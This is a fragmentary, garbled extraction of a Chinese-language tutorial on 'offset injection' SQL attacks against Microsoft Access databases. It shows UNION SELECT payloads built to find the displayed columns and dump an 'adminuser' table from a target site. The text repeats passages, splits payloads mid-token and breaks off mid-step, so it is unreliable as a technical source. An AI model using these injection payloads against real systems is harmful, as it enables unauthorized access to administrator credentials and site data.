Access数据库偏移注入攻击技术分析.pdfVIP

目标:

跑出的表段为

adminuser，用工具检测只出来了一个

ID

字段:

我们来尝试偏移注入吧。哦耶⋯⋯

先来确定显示位置:

和+1=2+union+select+1,

13+

2,3,4,5,6,7,8,9,10,11,1

2,from+adminuser

目标:

跑出表段为adminuser，用工具检测只出来了一个ID字段：

我们来偏移注入吧。ohyeah...

先来确定显示位：

2,13+from+adminuser

再提交：

和+1=2+union+select+1,2,3,4,5,6,7,*+

from+ad

minuser

adminuser

这个表占了

6

个字段，爆出了:

再提交：

,*+from+ad

minuser

adminuser这个表占了6个字段,爆出了：

但是没.

继续提交: